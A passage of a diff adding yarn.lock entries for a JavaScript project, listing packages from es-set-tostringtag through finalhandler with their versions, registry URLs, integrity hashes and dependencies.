+  integrity sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==
+  dependencies:
+    es-errors "^1.3.0"
+
+es-set-tostringtag@^2.0.3, es-set-tostringtag@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz#f31dbbe0c183b00a6d26eb6325c810c0fd18bd4d"
+  integrity sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==
+  dependencies:
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
+    has-tostringtag "^1.0.2"
+    hasown "^2.0.2"
+
+es-shim-unscopables@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/es-shim-unscopables/-/es-shim-unscopables-1.0.2.tgz#1f6942e71ecc7835ed1c8a83006d8771a63a3763"
+  integrity sha512-J3yBRXCzDu4ULnQwxyToo/OjdMx6akgVC7K6few0a7F/0wLtmKKN7I73AH5T2836UuXRqN7Qg+IIUw/+YJksRw==
+  dependencies:
+    hasown "^2.0.0"
+
+es-to-primitive@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.3.0.tgz#96c89c82cc49fd8794a24835ba3e1ff87f214e18"
+  integrity sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==
+  dependencies:
+    is-callable "^1.2.7"
+    is-date-object "^1.0.5"
+    is-symbol "^1.0.4"
+
+escalade@^3.1.1, escalade@^3.2.0:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.2.0.tgz#011a3f69856ba189dffa7dc8fcce99d2a87903e5"
+  integrity sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==
+
+escape-html@~1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988"
+  integrity sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==
+
+escape-string-regexp@^1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
+  integrity sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==
+
+escape-string-regexp@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz#a30304e99daa32e23b2fd20f51babd07cffca344"
+  integrity sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==
+
+escape-string-regexp@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34"
+  integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==
+
+escodegen@^1.8.1:
+  version "1.14.3"
+  resolved "https://registry.yarnpkg.com/escodegen/-/escodegen-1.14.3.tgz#4e7b81fba61581dc97582ed78cab7f0e8d63f503"
+  integrity sha512-qFcX0XJkdg+PB3xjZZG/wKSuT1PnQWx57+TVSjIMmILd2yC/6ByYElPwJnslDsuWuSAp4AwJGumarAAmJch5Kw==
+  dependencies:
+    esprima "^4.0.1"
+    estraverse "^4.2.0"
+    esutils "^2.0.2"
+    optionator "^0.8.1"
+  optionalDependencies:
+    source-map "~0.6.1"
+
+escodegen@^2.0.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/escodegen/-/escodegen-2.1.0.tgz#ba93bbb7a43986d29d6041f99f5262da773e2e17"
+  integrity sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==
+  dependencies:
+    esprima "^4.0.1"
+    estraverse "^5.2.0"
+    esutils "^2.0.2"
+  optionalDependencies:
+    source-map "~0.6.1"
+
+eslint-config-react-app@^7.0.1:
+  version "7.0.1"
+  resolved "https://registry.yarnpkg.com/eslint-config-react-app/-/eslint-config-react-app-7.0.1.tgz#73ba3929978001c5c86274c017ea57eb5fa644b4"
+  integrity sha512-K6rNzvkIeHaTd8m/QEh1Zko0KI7BACWkkneSs6s9cKZC/J27X3eZR6Upt1jkmZ/4FK+XUOPPxMEN7+lbUXfSlA==
+  dependencies:
+    "@babel/core" "^7.16.0"
+    "@babel/eslint-parser" "^7.16.3"
+    "@rushstack/eslint-patch" "^1.1.0"
+    "@typescript-eslint/eslint-plugin" "^5.5.0"
+    "@typescript-eslint/parser" "^5.5.0"
+    babel-preset-react-app "^10.0.1"
+    confusing-browser-globals "^1.0.11"
+    eslint-plugin-flowtype "^8.0.3"
+    eslint-plugin-import "^2.25.3"
+    eslint-plugin-jest "^25.3.0"
+    eslint-plugin-jsx-a11y "^6.5.1"
+    eslint-plugin-react "^7.27.1"
+    eslint-plugin-react-hooks "^4.3.0"
+    eslint-plugin-testing-library "^5.0.1"
+
+eslint-import-resolver-node@^0.3.9:
+  version "0.3.9"
+  resolved "https://registry.yarnpkg.com/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz#d4eaac52b8a2e7c3cd1903eb00f7e053356118ac"
+  integrity sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==
+  dependencies:
+    debug "^3.2.7"
+    is-core-module "^2.13.0"
+    resolve "^1.22.4"
+
+eslint-module-utils@^2.12.0:
+  version "2.12.0"
+  resolved "https://registry.yarnpkg.com/eslint-module-utils/-/eslint-module-utils-2.12.0.tgz#fe4cfb948d61f49203d7b08871982b65b9af0b0b"
+  integrity sha512-wALZ0HFoytlyh/1+4wuZ9FJCD/leWHQzzrxJ8+rebyReSLk7LApMyd3WJaLVoN+D5+WIdJyDK1c6JnE65V4Zyg==
+  dependencies:
+    debug "^3.2.7"
+
+eslint-plugin-flowtype@^8.0.3:
+  version "8.0.3"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-flowtype/-/eslint-plugin-flowtype-8.0.3.tgz#e1557e37118f24734aa3122e7536a038d34a4912"
+  integrity sha512-dX8l6qUL6O+fYPtpNRideCFSpmWOUVx5QcaGLVqe/vlDiBSe4vYljDWDETwnyFzpl7By/WVIu6rcrniCgH9BqQ==
+  dependencies:
+    lodash "^4.17.21"
+    string-natural-compare "^3.0.1"
+
+eslint-plugin-import@^2.25.3:
+  version "2.31.0"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-import/-/eslint-plugin-import-2.31.0.tgz#310ce7e720ca1d9c0bb3f69adfd1c6bdd7d9e0e7"
+  integrity sha512-ixmkI62Rbc2/w8Vfxyh1jQRTdRTF52VxwRVHl/ykPAmqG+Nb7/kNn+byLP0LxPgI7zWA16Jt82SybJInmMia3A==
+  dependencies:
+    "@rtsao/scc" "^1.1.0"
+    array-includes "^3.1.8"
+    array.prototype.findlastindex "^1.2.5"
+    array.prototype.flat "^1.3.2"
+    array.prototype.flatmap "^1.3.2"
+    debug "^3.2.7"
+    doctrine "^2.1.0"
+    eslint-import-resolver-node "^0.3.9"
+    eslint-module-utils "^2.12.0"
+    hasown "^2.0.2"
+    is-core-module "^2.15.1"
+    is-glob "^4.0.3"
+    minimatch "^3.1.2"
+    object.fromentries "^2.0.8"
+    object.groupby "^1.0.3"
+    object.values "^1.2.0"
+    semver "^6.3.1"
+    string.prototype.trimend "^1.0.8"
+    tsconfig-paths "^3.15.0"
+
+eslint-plugin-jest@^25.3.0:
+  version "25.7.0"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-jest/-/eslint-plugin-jest-25.7.0.tgz#ff4ac97520b53a96187bad9c9814e7d00de09a6a"
+  integrity sha512-PWLUEXeeF7C9QGKqvdSbzLOiLTx+bno7/HC9eefePfEb257QFHg7ye3dh80AZVkaa/RQsBB1Q/ORQvg2X7F0NQ==
+  dependencies:
+    "@typescript-eslint/experimental-utils" "^5.0.0"
+
+eslint-plugin-jsx-a11y@^6.5.1:
+  version "6.10.2"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.10.2.tgz#d2812bb23bf1ab4665f1718ea442e8372e638483"
+  integrity sha512-scB3nz4WmG75pV8+3eRUQOHZlNSUhFNq37xnpgRkCCELU3XMvXAxLk1eqWWyE22Ki4Q01Fnsw9BA3cJHDPgn2Q==
+  dependencies:
+    aria-query "^5.3.2"
+    array-includes "^3.1.8"
+    array.prototype.flatmap "^1.3.2"
+    ast-types-flow "^0.0.8"
+    axe-core "^4.10.0"
+    axobject-query "^4.1.0"
+    damerau-levenshtein "^1.0.8"
+    emoji-regex "^9.2.2"
+    hasown "^2.0.2"
+    jsx-ast-utils "^3.3.5"
+    language-tags "^1.0.9"
+    minimatch "^3.1.2"
+    object.fromentries "^2.0.8"
+    safe-regex-test "^1.0.3"
+    string.prototype.includes "^2.0.1"
+
+eslint-plugin-react-hooks@^4.3.0:
+  version "4.6.2"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.6.2.tgz#c829eb06c0e6f484b3fbb85a97e57784f328c596"
+  integrity sha512-QzliNJq4GinDBcD8gPB5v0wh6g8q3SUi6EFF0x8N/BL9PoVs0atuGc47ozMRyOWAKdwaZ5OnbOEa3WR+dSGKuQ==
+
+eslint-plugin-react@^7.27.1:
+  version "7.37.4"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-react/-/eslint-plugin-react-7.37.4.tgz#1b6c80b6175b6ae4b26055ae4d55d04c414c7181"
+  integrity sha512-BGP0jRmfYyvOyvMoRX/uoUeW+GqNj9y16bPQzqAHf3AYII/tDs+jMN0dBVkl88/OZwNGwrVFxE7riHsXVfy/LQ==
+  dependencies:
+    array-includes "^3.1.8"
+    array.prototype.findlast "^1.2.5"
+    array.prototype.flatmap "^1.3.3"
+    array.prototype.tosorted "^1.1.4"
+    doctrine "^2.1.0"
+    es-iterator-helpers "^1.2.1"
+    estraverse "^5.3.0"
+    hasown "^2.0.2"
+    jsx-ast-utils "^2.4.1 || ^3.0.0"
+    minimatch "^3.1.2"
+    object.entries "^1.1.8"
+    object.fromentries "^2.0.8"
+    object.values "^1.2.1"
+    prop-types "^15.8.1"
+    resolve "^2.0.0-next.5"
+    semver "^6.3.1"
+    string.prototype.matchall "^4.0.12"
+    string.prototype.repeat "^1.0.0"
+
+eslint-plugin-testing-library@^5.0.1:
+  version "5.11.1"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-testing-library/-/eslint-plugin-testing-library-5.11.1.tgz#5b46cdae96d4a78918711c0b4792f90088e62d20"
+  integrity sha512-5eX9e1Kc2PqVRed3taaLnAAqPZGEX75C+M/rXzUAI3wIg/ZxzUm1OVAwfe/O+vE+6YXOLetSe9g5GKD2ecXipw==
+  dependencies:
+    "@typescript-eslint/utils" "^5.58.0"
+
+eslint-scope@5.1.1, eslint-scope@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-5.1.1.tgz#e786e59a66cb92b3f6c1fb0d508aab174848f48c"
+  integrity sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==
+  dependencies:
+    esrecurse "^4.3.0"
+    estraverse "^4.1.1"
+
+eslint-scope@^7.2.2:
+  version "7.2.2"
+  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-7.2.2.tgz#deb4f92563390f32006894af62a22dba1c46423f"
+  integrity sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==
+  dependencies:
+    esrecurse "^4.3.0"
+    estraverse "^5.2.0"
+
+eslint-visitor-keys@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz#f65328259305927392c938ed44eb0a5c9b2bd303"
+  integrity sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==
+
+eslint-visitor-keys@^3.3.0, eslint-visitor-keys@^3.4.1, eslint-visitor-keys@^3.4.3:
+  version "3.4.3"
+  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz#0cd72fe8550e3c2eae156a96a4dddcd1c8ac5800"
+  integrity sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==
+
+eslint-webpack-plugin@^3.1.1:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/eslint-webpack-plugin/-/eslint-webpack-plugin-3.2.0.tgz#1978cdb9edc461e4b0195a20da950cf57988347c"
+  integrity sha512-avrKcGncpPbPSUHX6B3stNGzkKFto3eL+DKM4+VyMrVnhPc3vRczVlCq3uhuFOdRvDHTVXuzwk1ZKUrqDQHQ9w==
+  dependencies:
+    "@types/eslint" "^7.29.0 || ^8.4.1"
+    jest-worker "^28.0.2"
+    micromatch "^4.0.5"
+    normalize-path "^3.0.0"
+    schema-utils "^4.0.0"
+
+eslint@^8.3.0:
+  version "8.57.1"
+  resolved "https://registry.yarnpkg.com/eslint/-/eslint-8.57.1.tgz#7df109654aba7e3bbe5c8eae533c5e461d3c6ca9"
+  integrity sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA==
+  dependencies:
+    "@eslint-community/eslint-utils" "^4.2.0"
+    "@eslint-community/regexpp" "^4.6.1"
+    "@eslint/eslintrc" "^2.1.4"
+    "@eslint/js" "8.57.1"
+    "@humanwhocodes/config-array" "^0.13.0"
+    "@humanwhocodes/module-importer" "^1.0.1"
+    "@nodelib/fs.walk" "^1.2.8"
+    "@ungap/structured-clone" "^1.2.0"
+    ajv "^6.12.4"
+    chalk "^4.0.0"
+    cross-spawn "^7.0.2"
+    debug "^4.3.2"
+    doctrine "^3.0.0"
+    escape-string-regexp "^4.0.0"
+    eslint-scope "^7.2.2"
+    eslint-visitor-keys "^3.4.3"
+    espree "^9.6.1"
+    esquery "^1.4.2"
+    esutils "^2.0.2"
+    fast-deep-equal "^3.1.3"
+    file-entry-cache "^6.0.1"
+    find-up "^5.0.0"
+    glob-parent "^6.0.2"
+    globals "^13.19.0"
+    graphemer "^1.4.0"
+    ignore "^5.2.0"
+    imurmurhash "^0.1.4"
+    is-glob "^4.0.0"
+    is-path-inside "^3.0.3"
+    js-yaml "^4.1.0"
+    json-stable-stringify-without-jsonify "^1.0.1"
+    levn "^0.4.1"
+    lodash.merge "^4.6.2"
+    minimatch "^3.1.2"
+    natural-compare "^1.4.0"
+    optionator "^0.9.3"
+    strip-ansi "^6.0.1"
+    text-table "^0.2.0"
+
+espree@^9.6.0, espree@^9.6.1:
+  version "9.6.1"
+  resolved "https://registry.yarnpkg.com/espree/-/espree-9.6.1.tgz#a2a17b8e434690a5432f2f8018ce71d331a48c6f"
+  integrity sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==
+  dependencies:
+    acorn "^8.9.0"
+    acorn-jsx "^5.3.2"
+    eslint-visitor-keys "^3.4.1"
+
+esprima@1.2.2:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/esprima/-/esprima-1.2.2.tgz#76a0fd66fcfe154fd292667dc264019750b1657b"
+  integrity sha512-+JpPZam9w5DuJ3Q67SqsMGtiHKENSMRVoxvArfJZK01/BfLEObtZ6orJa/MtoGNR/rfMgp5837T41PAmTwAv/A==
+
+esprima@^4.0.0, esprima@^4.0.1:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/esprima/-/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71"
+  integrity sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==
+
+esquery@^1.4.2:
+  version "1.6.0"
+  resolved "https://registry.yarnpkg.com/esquery/-/esquery-1.6.0.tgz#91419234f804d852a82dceec3e16cdc22cf9dae7"
+  integrity sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==
+  dependencies:
+    estraverse "^5.1.0"
+
+esrecurse@^4.3.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.3.0.tgz#7ad7964d679abb28bee72cec63758b1c5d2c9921"
+  integrity sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==
+  dependencies:
+    estraverse "^5.2.0"
+
+estraverse@^4.1.1, estraverse@^4.2.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-4.3.0.tgz#398ad3f3c5a24948be7725e83d11a7de28cdbd1d"
+  integrity sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==
+
+estraverse@^5.1.0, estraverse@^5.2.0, estraverse@^5.3.0:
+  version "5.3.0"
+  resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-5.3.0.tgz#2eea5290702f26ab8fe5370370ff86c965d21123"
+  integrity sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==
+
+estree-walker@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/estree-walker/-/estree-walker-1.0.1.tgz#31bc5d612c96b704106b477e6dd5d8aa138cb700"
+  integrity sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==
+
+esutils@^2.0.2:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.3.tgz#74d2eb4de0b8da1293711910d50775b9b710ef64"
+  integrity sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==
+
+etag@~1.8.1:
+  version "1.8.1"
+  resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887"
+  integrity sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==
+
+eventemitter3@^4.0.0:
+  version "4.0.7"
+  resolved "https://registry.yarnpkg.com/eventemitter3/-/eventemitter3-4.0.7.tgz#2de9b68f6528d5644ef5c59526a1b4a07306169f"
+  integrity sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==
+
+events@^3.2.0:
+  version "3.3.0"
+  resolved "https://registry.yarnpkg.com/events/-/events-3.3.0.tgz#31a95ad0a924e2d2c419a813aeb2c4e878ea7400"
+  integrity sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==
+
+execa@^5.0.0:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/execa/-/execa-5.1.1.tgz#f80ad9cbf4298f7bd1d4c9555c21e93741c411dd"
+  integrity sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==
+  dependencies:
+    cross-spawn "^7.0.3"
+    get-stream "^6.0.0"
+    human-signals "^2.1.0"
+    is-stream "^2.0.0"
+    merge-stream "^2.0.0"
+    npm-run-path "^4.0.1"
+    onetime "^5.1.2"
+    signal-exit "^3.0.3"
+    strip-final-newline "^2.0.0"
+
+exit@^0.1.2:
+  version "0.1.2"
+  resolved "https://registry.yarnpkg.com/exit/-/exit-0.1.2.tgz#0632638f8d877cc82107d30a0fff1a17cba1cd0c"
+  integrity sha512-Zk/eNKV2zbjpKzrsQ+n1G6poVbErQxJ0LBOJXaKZ1EViLzH+hrLu9cdXI4zw9dBQJslwBEpbQ2P1oS7nDxs6jQ==
+
+expect@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/expect/-/expect-27.5.1.tgz#83ce59f1e5bdf5f9d2b94b61d2050db48f3fef74"
+  integrity sha512-E1q5hSUG2AmYQwQJ041nvgpkODHQvB+RKlB4IYdru6uJsyFTRyZAP463M+1lINorwbqAmUggi6+WwkD8lCS/Dw==
+  dependencies:
+    "@jest/types" "^27.5.1"
+    jest-get-type "^27.5.1"
+    jest-matcher-utils "^27.5.1"
+    jest-message-util "^27.5.1"
+
+express@^4.17.3:
+  version "4.21.2"
+  resolved "https://registry.yarnpkg.com/express/-/express-4.21.2.tgz#cf250e48362174ead6cea4a566abef0162c1ec32"
+  integrity sha512-28HqgMZAmih1Czt9ny7qr6ek2qddF4FclbMzwhCREB6OFfH+rXAnuNCwo1/wFvrtbgsQDb4kSbX9de9lFbrXnA==
+  dependencies:
+    accepts "~1.3.8"
+    array-flatten "1.1.1"
+    body-parser "1.20.3"
+    content-disposition "0.5.4"
+    content-type "~1.0.4"
+    cookie "0.7.1"
+    cookie-signature "1.0.6"
+    debug "2.6.9"
+    depd "2.0.0"
+    encodeurl "~2.0.0"
+    escape-html "~1.0.3"
+    etag "~1.8.1"
+    finalhandler "1.3.1"
+    fresh "0.5.2"
+    http-errors "2.0.0"
+    merge-descriptors "1.0.3"
+    methods "~1.1.2"
+    on-finished "2.4.1"
+    parseurl "~1.3.3"
+    path-to-regexp "0.1.12"
+    proxy-addr "~2.0.7"
+    qs "6.13.0"
+    range-parser "~1.2.1"
+    safe-buffer "5.2.1"
+    send "0.19.0"
+    serve-static "1.16.2"
+    setprototypeof "1.2.0"
+    statuses "2.0.1"
+    type-is "~1.6.18"
+    utils-merge "1.0.1"
+    vary "~1.1.2"
+
+fast-deep-equal@^3.1.1, fast-deep-equal@^3.1.3:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
+  integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==
+
+fast-glob@^3.2.9, fast-glob@^3.3.2:
+  version "3.3.3"
+  resolved "https://registry.yarnpkg.com/fast-glob/-/fast-glob-3.3.3.tgz#d06d585ce8dba90a16b0505c543c3ccfb3aeb818"
+  integrity sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==
+  dependencies:
+    "@nodelib/fs.stat" "^2.0.2"
+    "@nodelib/fs.walk" "^1.2.3"
+    glob-parent "^5.1.2"
+    merge2 "^1.3.0"
+    micromatch "^4.0.8"
+
+fast-json-stable-stringify@^2.0.0, fast-json-stable-stringify@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633"
+  integrity sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==
+
+fast-levenshtein@^2.0.6, fast-levenshtein@~2.0.6:
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917"
+  integrity sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==
+
+fast-uri@^3.0.1:
+  version "3.0.6"
+  resolved "https://registry.yarnpkg.com/fast-uri/-/fast-uri-3.0.6.tgz#88f130b77cfaea2378d56bf970dea21257a68748"
+  integrity sha512-Atfo14OibSv5wAp4VWNsFYE1AchQRTv9cBGWET4pZWHzYshFSS9NQI6I57rdKn9croWVMbYFbLhJ+yJvmZIIHw==
+
+fastq@^1.6.0:
+  version "1.19.0"
+  resolved "https://registry.yarnpkg.com/fastq/-/fastq-1.19.0.tgz#a82c6b7c2bb4e44766d865f07997785fecfdcb89"
+  integrity sha512-7SFSRCNjBQIZH/xZR3iy5iQYR8aGBE0h3VG6/cwlbrpdciNYBMotQav8c1XI3HjHH+NikUpP53nPdlZSdWmFzA==
+  dependencies:
+    reusify "^1.0.4"
+
+faye-websocket@^0.11.3:
+  version "0.11.4"
+  resolved "https://registry.yarnpkg.com/faye-websocket/-/faye-websocket-0.11.4.tgz#7f0d9275cfdd86a1c963dc8b65fcc451edcbb1da"
+  integrity sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==
+  dependencies:
+    websocket-driver ">=0.5.1"
+
+fb-watchman@^2.0.0:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/fb-watchman/-/fb-watchman-2.0.2.tgz#e9524ee6b5c77e9e5001af0f85f3adbb8623255c"
+  integrity sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==
+  dependencies:
+    bser "2.1.1"
+
+file-entry-cache@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/file-entry-cache/-/file-entry-cache-6.0.1.tgz#211b2dd9659cb0394b073e7323ac3c933d522027"
+  integrity sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==
+  dependencies:
+    flat-cache "^3.0.4"
+
+file-loader@^6.2.0:
+  version "6.2.0"
+  resolved "https://registry.yarnpkg.com/file-loader/-/file-loader-6.2.0.tgz#baef7cf8e1840df325e4390b4484879480eebe4d"
+  integrity sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==
+  dependencies:
+    loader-utils "^2.0.0"
+    schema-utils "^3.0.0"
+
+filelist@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/filelist/-/filelist-1.0.4.tgz#f78978a1e944775ff9e62e744424f215e58352b5"
+  integrity sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==
+  dependencies:
+    minimatch "^5.0.1"
+
+filesize@^8.0.6:
+  version "8.0.7"
+  resolved "https://registry.yarnpkg.com/filesize/-/filesize-8.0.7.tgz#695e70d80f4e47012c132d57a059e80c6b580bd8"
+  integrity sha512-pjmC+bkIF8XI7fWaH8KxHcZL3DPybs1roSKP4rKDvy20tAWwIObE4+JIseG2byfGKhud5ZnM4YSGKBz7Sh0ndQ==
+
+fill-range@^7.1.1:
+  version "7.1.1"
+  resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-7.1.1.tgz#44265d3cac07e3ea7dc247516380643754a05292"
+  integrity sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==
+  dependencies:
+    to-regex-range "^5.0.1"
+
+finalhandler@1.3.1:
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.3.1.tgz#0c575f1d1d324ddd1da35ad7ece3df7d19088019"
+  integrity sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==
+  dependencies:
